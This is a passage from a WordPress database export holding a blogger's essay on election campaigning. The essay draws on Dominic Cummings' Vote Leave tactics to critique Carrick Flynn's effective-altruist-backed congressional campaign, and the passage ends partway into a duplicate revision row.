/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2022-05-27 14:39:34','2022-05-27 14:39:34','',22,'https://trevorklee.com/?p=292',0,'revision','',0),
(294,1,'2022-06-15 14:31:51','2022-06-15 14:31:51','<!-- wp:paragraph -->\n<p>This essay is pretty far outside my usual beat of niche biology topics, but I thought it was important. If you find it boring or distasteful, don’t worry, I don’t intend this to be a regular thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To start off with, I’d like to say that I am very sympathetic to effective altruism (or EA, for short) and its goals. Both the philosophy and the community have had a big impact on my life and my business. I also think EA would definitely be a beneficial force in American politics, which sorely needs good people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this this is why it makes me so sad that EA has just spectacularly fumbled its first foray into electoral politics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if you’re not up to date on current US politics, the Effective Altruism community&nbsp;<a href=\"https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwjy46626v_3AhU8q4QIHf7tCk8QvOMEKAB6BAgFEAE&amp;url=https%3A%2F%2Fwww.marketwatch.com%2Fstory%2Fdespite-11-million-in-donations-from-a-crypto-billionaire-carrick-flynn-loses-big-in-oregon-primary-11652887087&amp;usg=AOvVaw2ZnTLRmcEqgAYB61XbvwaN\">has just blown about $14 million on the Carrick Flynn campaign</a>, including $7-$11 million (numbers vary) from Sam Bankman-Fried, the effective altruist crypto billionaire. Carrick Flynn is a guy with impeccable effective altruist credentials and very little political experience who ran in the Democratic primary for a newly created House seat in Oregon. He lost to Andrea Salinas, a longtime local Democratic political operative in that area, albeit one who never ran for election. She, needless to say, did not spend $14 million on her campaign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>$14 million would have been a lot of money to spend on Flynn’s campaign even if he had won, as it’s difficult for any Congressperson to make a difference in today’s government, nevermind an incredibly junior Congressman with no political experience. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Considering that Carrick lost, it’s, well, a shitton of money. I don’t want to bring up the whole bednets thing, but $14 million buys a lot of bednets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the EA community plans to have political influence/run candidates in the future, I think there needs to be a much better plan than what there was for Carrick, which mostly seemed to be “EA guy decides he wants to run, everyone gives him money”. After all, this is supposed to be a&nbsp;<em>rational</em>&nbsp;community, and that doesn’t seem like a particularly rational strategy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This essay is an attempt to develop the frameworks of that plan. It’s based around Dominic Cummings’ long, detailed, somewhat rambling blogs (<a href=\"https://dominiccummings.com/2017/01/09/on-the-referendum-21-branching-histories-of-the-2016-referendum-and-the-frogs-before-the-storm-2/\">1</a>,&nbsp;<a href=\"https://dominiccummings.com/2016/10/29/on-the-referendum-20-the-campaign-physics-and-data-science-vote-leaves-voter-intention-collection-system-vics-now-available-for-all/\">2</a>, and&nbsp;<a href=\"https://dominiccummings.files.wordpress.com/2017/01/2016-ref-address.pdf#page=2\">3</a>) on how he thought out the Leave Campaign for Brexit, which was a very well-run campaign that accomplished its goals despite a lot of structural disadvantages and starting very far behind in the polls. It’s filtered through my experience selling stuff: although I’ve never run a campaign, I’ve been self-employed my whole life, selling my services, products, and software to the consumer world at large. I’m pretty good at selling a story, in other words.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, neither my sources nor my own background are perfectly fitted to this task. There will definitely be gaps and errors in this document. I hope to get input from more knowledgeable people to fix it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I just have to say, when I say more knowledgeable, I mean people who’ve actually participated in running a campaign, not people who are “political junkies” or pundits. As someone who’s done a lot of combat sports in my life, I am very aware of how ineffective combat sports fans are once they get punched in the face. I have to assume the same is true of political fans once they actually have to make a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Campaigns don’t make waves, they ride them.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the most important things that Dominic Cummings harps on is the fundamental idea above: campaigns don’t make waves, they ride them. I’ve also heard this as “The art of being a politician is to find a parade, start marching at the head of it, and then claim you’re the leader”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F279b83f7-36cf-4c64-bf81-42d8d4517513_2000x1294.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F279b83f7-36cf-4c64-bf81-42d8d4517513_2000x1294.jpeg\" alt=\"Obama supports but won\'t lead Bud Billiken Parade, campaign says – Chicago  Tribune\" title=\"Obama supports but won\'t lead Bud Billiken Parade, campaign says – Chicago  Tribune\"/></a><figcaption>To be fair, this one probably is Obama’s parade.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In Dominic Cummings’ Leave Campaign, his polling that voters were already concerned about immigration from the EU into the UK, and so one of the main focuses of their messaging was the idea that 58 million Turks were going to join the EU and migrate to the UK, taking jobs and straining the National Health Service. To be clear, this was not the issue that Dominic Cummings most cared about. If you read his writing, he was much more concerned about issues of political control between the EU and the UK. However, he knew it was the issue the voters cared about, so he rode that wave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn had 3 issues he cared about listed on his website: fix Congress (i.e. working with anybody to get issues passed), building a green economy, and preventing pandemics. Now, these are worthy issues, in my opinion. However, my opinion doesn’t matter. The real question is: are these worthy issues in the voters’ opinions?<br><br>Nope! I don’t even have to justify that by looking at surveys. Most of the reason that EA people were excited about Carrick Flynn was because he was going to make pandemic prevention an issue in Congress. Now, why do you think the other Democrats (or Republicans) haven’t made it an issue in their own campaigns?&nbsp;<em>Because they already know that voters don’t care</em>. Other campaigns aren’t stupid: if voters cared about pandemic prevention, the politicians would talk about it. Voters don’t, so they won’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn should not have made pandemic prevention one of his major issues in his campaign. It would have been a much better idea to talk about issues that Democratic voters care about in his campaign (i.e. the boring culture war stuff that MSNBC talks about endlessly), and then quietly work on pandemic prevention once he got to Congress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, however, he tried to make his own wave: make the voters care about pandemic prevention, then be the leader in the campaign on that niche issue. This never, ever works.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Make sure you pick the right people for the spotlight.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of Dominic Cummings’ major tasks as the leader of the Leave Campaign was to keep the wrong people out of the spotlight. The most important person that Dominic Cummings had to keep out of the spotlight was Nigel Farage, who was the leader of the UK Independence Party. Even though Farage would be the natural face of the Leave Campaign, given his leadership of a party devoted to the UK leaving the EU, Cummings knew that Farage and UKIP were seen by the public at large as far-right thugs. Cummings describes in his polling how many of his respondents would actually agree with his messaging around Leave, but would refuse to support them because they didn’t want to be seen as in alignment with “those sort”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s turn to Carrick Flynn. I don’t know Carrick Flynn, but from reputation and from what I’ve read he seems like an exemplar of EA values: fiercely smart, devoted to the good of others (often in foreign countries), and very cerebral. He’s probably a great guy to know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, he is almost certainly not the right candidate for Oregon’s 6th congressional district. Most obviously, he’s not part of the district and hasn’t been for a long time. He left and did EA stuff all around the world, and literally only came back to run a Congressional campaign. Nobody in the district knew who he was, including any of the local politicians.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But also, according to Wikipedia, Oregon’s 6th congressional district’s two primary industries are agriculture and logging. Now, if I had to pick the guy who would click most with farmers and loggers, it’s not a cerebral nerd.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f02c-ff34-4d01-99e0-b3390a10e9fb_683x1024.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f02c-ff34-4d01-99e0-b3390a10e9fb_683x1024.jpeg\" alt=\"White Nerd Ninja Stock Photo - Download Image Now - iStock\" title=\"White Nerd Ninja Stock Photo - Download Image Now - iStock\"/></a><figcaption>This is not a photo of Carrick Flynn and I shouldn’t have put this here. But I thought it was funny.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This also applies to Sam Bankman-Fried. The fact that Sam Bankman-Fried donated $7 million to Carrick Flynn’s campaign became the major focus of the press on Flynn’s campaign. It makes a lot of sense to me, personally, why he did this. Sam Bankman-Fried cares about pandemic prevention, and he wanted to donate to a candidate who also does. However, from the locals’ perspective, “random crypto billionaire donates millions to dude we’ve never heard of who’s running for Congress” is pretty sketchy, and was not helped by the additional EA people donating additional millions to Carrick Flynn.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Have a couple focus-tested messages and stick to them.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the things that Dominic Cummings repeats endlessly is the importance of the Vote Leave campaign’s two central messages:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) The UK gives 350 million pounds a week to the EU, when they could have been giving that to the NHS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) There is going to be a flood of immigration into the UK with the new countries, like Turkey, joining the EU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They developed these messages near the beginning of the campaign, tested them with a variety of focus groups, and found they were by far the strongest messages. So, those were the messages they stuck to in all of their advertising, public messaging, and media campaigns.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F50617b7b-2b32-4ec6-b086-afb2399c059f_976x549.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F50617b7b-2b32-4ec6-b086-afb2399c059f_976x549.jpeg\" alt=\"Reality Check: Checking the Vote Leave leaflet - BBC News\" title=\"Reality Check: Checking the Vote Leave leaflet - BBC News\"/></a><figcaption>The infamous, incredibly effective Vote Leave leaflet that they blanketed the UK with.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’s important to note that these were not the most obviously important messages. Dominic Cummings, as previously mentioned, cared most about issues of political control. The media thought that Vote Leave should make their argument about the EU market, and tried to encourage them in that direction in debates. The conservative politicians came up with “Go Global” along with a fun diagram of a globe, which they thought was very clever.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But none of those messages tested as well as Turkey/NHS/£350 million, so Dominic Cummings ignored them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Carrick Flynn’s campaign, it seems really obvious that his messages were not focus-tested. In a Democratic primary in an agricultural district, I’d assume that the messages that are going to play best to the Democratic base are going to be either culture war or stuff about supporting agriculture. I would really doubt that messages about effective cooperation or pandemic prevention test well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, Andrea Salinas, the winner of the OR-06 primary, was focused very deliberately on culture war stuff in her messaging: universal healthcare, $15 minimum wage, abortion rights, and gun control. I’m not saying this is brilliant, but, if you had to bet without doing focus testing on what’s going to be the best message to communicate with a Democratic base, I’d bet it’s the same stuff that gets AOC all of her positive press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Measure the effectiveness of advertising.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As someone who sells my services and products every day for a living, I am forced to be aware of how ineffective most advertising is. I have spent dozens of hours and spent thousands of dollars on ad campaigns which had zero results on my sales.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is something that Dominic Cummings and his team were also acutely aware of. They only had 13.7 million pounds (coincidentally, close to the amount that Carrick Flynn had) to convince an entire country to vote a certain way. So, when they purchased advertising, they prioritized advertising whose effectiveness could be measured and compared, namely digital advertising (i.e. Facebook ads) and leafleting. They also used follow-up surveys of voters to determine how the advertising changed their likelihood of voting Leave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I don’t know if Carrick Flynn’s campaign did something similar. But, given that they had $14 million to quickly spend on a district of around 500k people, I’d bet they didn’t. Instead, I’d bet they went the overfunded startup mode: when you have too much money, not enough people to really monitor the money spent, and a limited amount of time to spend the money, you just blanket the ads everywhere and hope for the best. This is not a good way to ensure votes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Future posts will almost certainly not be about politics.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For what it’s worth, after coming up with his campaign’s messaging, Cummings found the most effective marketing was face-to-face, followed by texts, followed by targeting Facebook ads and targeted mail (including personally addressed mail). Emails and phone calls were almost useless, and Twitter was exceptionally useless.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>5. Distract the useless people.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of Dominic Cummings’ major complaints about the broader Vote Leave coalition was how useless most of his political allies were. Most politicians, in his view, would rather lose a campaign conventionally than win it unconventionally, so they were constantly bombarding him with useless ideas about what they thought should work. This included using the same tactics, consultants, and messaging that had made Vote Leave so unpopular in the start of the campaign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cummings’s response was to organize committees for them to be on and then ignore the recommendations of the committees. When he needed them to fall in line (e.g. go on TV and say a certain message), there was a lot of bullying, cajoling, and bribing he needed to do as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m sure Carrick Flynn, and any person who attracts a lot of EA support, is going to get a lot of well-meaning but useless feedback from EA people, including people in the EA hierarchy. I don’t know how Carrick handled this, but committees seem to be a good way of doing so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>6. Advertise closer to the end of the decision.&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This one’s pretty straightforward, but it makes sense. Even though the Brexit referendum was announced many months before it actually happened, Dominic Cummings saved most of his advertising and messaging for the last 10 weeks. Most people don’t think about politics that much or that often, so they really only care close to when they need to make a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>7. Decentralize your decision-making</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Campaigns are an unwieldy mix of volunteers and paid staff, all of whom are brought on very quickly. It’s like working at a startup with worse incentive alignment. As such, decisions from the top are not necessarily going to be executed at the bottom, and information from the bottom is not necessarily going to be filtered up to the top.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most important thing, then, is to give everyone the information they need to do their job, and then the latitude to make the decisions necessary as they see fit. This is especially important when it comes to volunteers, who have a wide range of effectiveness, from the incredibly engaged to the half-assed. It’s important for the incredibly engaged to be able to go above and beyond with their work, and not be blocked by the half-assed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EA and EA-associated political campaigns will of course have this exact issue in spades. Decentralizing and empowering the more engaged so that they aren’t distracted by the less engaged will be huge for making a more effective campaign. I don’t know how Carrick Flynn ran the internals of his campaign, but I hope future EA campaigns go by this model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>8. With a gentleman, a gentleman-and-a-half. With a pirate, a pirate-and-a-half.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This charming phrasing comes directly from Dominic Cummings. If you’re confused about the meaning, it’s basically tit-for-tat: if someone treats you nicely, treat them nicely. If someone treats you poorly, treat them poorly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I imagine the extent to which this applies in politics would come as a surprise to most EA people. As Dominic Cummings found out, many people who are supposedly on your side in politics will actively work against you for their own reasons. Nigel Farage, for instance, undermined the Vote Leave campaign among his followers, forbidding them from working with Cummings, as he was upset that the campaign did not feature him. This was one of the reasons why Cummings constantly sidelined Farage and refused to give him information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn got a taste of this with&nbsp;<a href=\"https://www.wweek.com/news/state/2022/05/01/environmental-groups-condemn-congressional-candidate-carrick-flynns-comments-on-spotted-owls-timber-unity/\">his owl dustup</a>, in which he said he had “emotional sympathy” for Timber Unity, a group which was frustrated with restrictions on logging due to protections for an endangered owl species. This relatively innocuous phrase of “emotional sympathy” earned this public response from 6 different environmental groups in Oregon:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>As organizations who have been fighting for decades to uphold the strong environmental values held by the people of Oregon, we are stunned and deeply saddened to hear Carrick Flynn, a Democratic candidate running for Congress, make comments mocking critical environmental protections, sympathizing with a far-right group that has ties to the Jan. 6 insurrection, and referring to our state’s iconic land use system as ‘insane’.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn might have expected environmentalists to be gentlemen, at least to him, given that one of his main campaign issues was building a green economy. He was wrong. They were pirates, and he needed to treat them as such. That included not apologizing or reversing statements: pirates take that as a sign of weakness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>9. If you want to get the atypical voters involved, you have to be creative.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>EA, by its nature, is a niche philosophy. However, I suspect that there are many non-engaged voters who would be interested in voting for an EA candidate speaking about EA issues, like pandemic prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The challenge is reaching these voters. They are, by definition, not into politics. This was the same challenge Dominic Cummings faced. He wanted to reach working-class men who’d be most affected by a wave of unskilled immigration into the UK. However, these are not the sort of men who are generally into politics. The only news they follow, generally, is football (soccer) news.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in order to reach them, that’s exactly the avenue that Dominic Cummings went down. The Vote Leave Campaign did a contest where football fans could win 50 million pounds if they successfully predicted the winner of every game in the European Championships that year. All they had to do was put in their name, address, email, telephone number, and how they intended to vote in the referendum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8a6ac771-1b2b-4991-ac24-dfc917751be8_976x549.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8a6ac771-1b2b-4991-ac24-dfc917751be8_976x549.jpeg\" alt=\"Vote Leave fined over thousands of unsolicited texts - BBC News\" title=\"Vote Leave fined over thousands of unsolicited texts - BBC News\"/></a><figcaption>This is literally what the ad looked like. Sketchy? Yes, absolutely. But it worked.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now, what does the European Championships have to do with Brexit? Very little! But that didn’t matter. The important thing was that this information gave Dominic Cummings the information he needed to target the voters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not sure what the equivalent contest would be for EA. There would need to be some better polling on who’s most sympathetic to EA issues. Perhaps it’s college students, or even churchgoers. However, it’d be easy enough to figure out, and then getting the information for these sorts of voters would only be a stupid contest away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>10. Know what the press cares about.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For the most part, the press was hostile to Vote Leave. When they did cover it, they covered it unsympathetically. More importantly, however, they weren’t particularly interested in covering the issues that Vote Leave cared about, which made it difficult for Vote Leave to get press coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t unique to Vote Leave. The press, by and large, isn’t interested in substantial coverage of issues, and neither is their readership. When they cover politics, they’re really most interested in the personalities and the drama behind it, or, as Cummings puts it, the “snakes and ladders of careers”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the story that Cummings gave to the press was that Conservatives were forming an alternative government, and that Boris Johnson and Michael Gove were going to be head of it. This transformed the issue of Vote Leave into one of politicians usurping power, which is something the press cares about a lot more and is willing to cover. And, when Cummings got Johnson and Gove to discuss the reasons why they were forming an “alternative government”, namely the same focus-tested issues from before, this allowed those issues to get press coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EA politicians need to do something similar. Carrick Flynn accidentally found out how the press worked when by far the biggest story of his campaign was a mysterious young crypto billionaire giving him $7 million, followed by environmentalist groups condemning him for his owl remarks. Or, in other words, money and interpersonal drama.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Faa1a9382-1bd0-44ac-88b3-2d81227f0395_1460x1106.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Faa1a9382-1bd0-44ac-88b3-2d81227f0395_1460x1106.png\" alt=\"\"/></a><figcaption>Top stories when I Google Carrick Flynn are Nancy Pelosi, Sam Bankman-Fried, and crypto. This is what the press cares about!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If EA groups or Carrick Flynn had planned better, they perhaps could have manipulated the press to their own benefit. For example, Carrick Flynn and Sam Bankman-Fried could have collaborated to make the story more like Flynn convincing Bankman-Fried to invest $7 million into Oregon as a green job initiative as part of some nonprofit that Flynn set up. That would require some extra work, but would have played way better in the press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To conclude, I don’t mean to denigrate Carrick Flynn, EA, or Sam Bankman-Fried. This criticism comes out of a place of love, as I really do appreciate what EA does, what it stands for, and the impact it’s had in my life. I also think that Carrick Flynn seems like a great, hard-working guy, and I have no doubt he’d be the same as a politician.<br><br>However, as I said in the beginning, $14 million is a ton of money, whether you measure it by bednets or Congressional race standards. Dominic Cummings ran a nationwide campaign with about the same amount of money. If EA can’t win a local Congressional race with that amount, then there needs to be some serious reworking of how we think about things. I’m hoping this will be a good place to start.</p>\n<!-- /wp:paragraph -->','How to win an election in 10 easy steps: an effective altruist\'s guide￼','','publish','closed','closed','','how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide%ef%bf%bc','','','2022-06-15 14:31:51','2022-06-15 14:31:51','',0,'https://trevorklee.com/?page_id=294',0,'page','',0),
(295,1,'2022-06-15 14:31:51','2022-06-15 14:31:51','<!-- wp:paragraph -->\n<p>This essay is pretty far outside my usual beat of niche biology topics, but I thought it was important. If you find it boring or distasteful, don’t worry, I don’t intend this to be a regular thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To start off with, I’d like to say that I am very sympathetic to effective altruism (or EA, for short) and its goals. Both the philosophy and the community have had a big impact on my life and my business. I also think EA would definitely be a beneficial force in American politics, which sorely needs good people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this this is why it makes me so sad that EA has just spectacularly fumbled its first foray into electoral politics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if you’re not up to date on current US politics, the Effective Altruism community&nbsp;<a 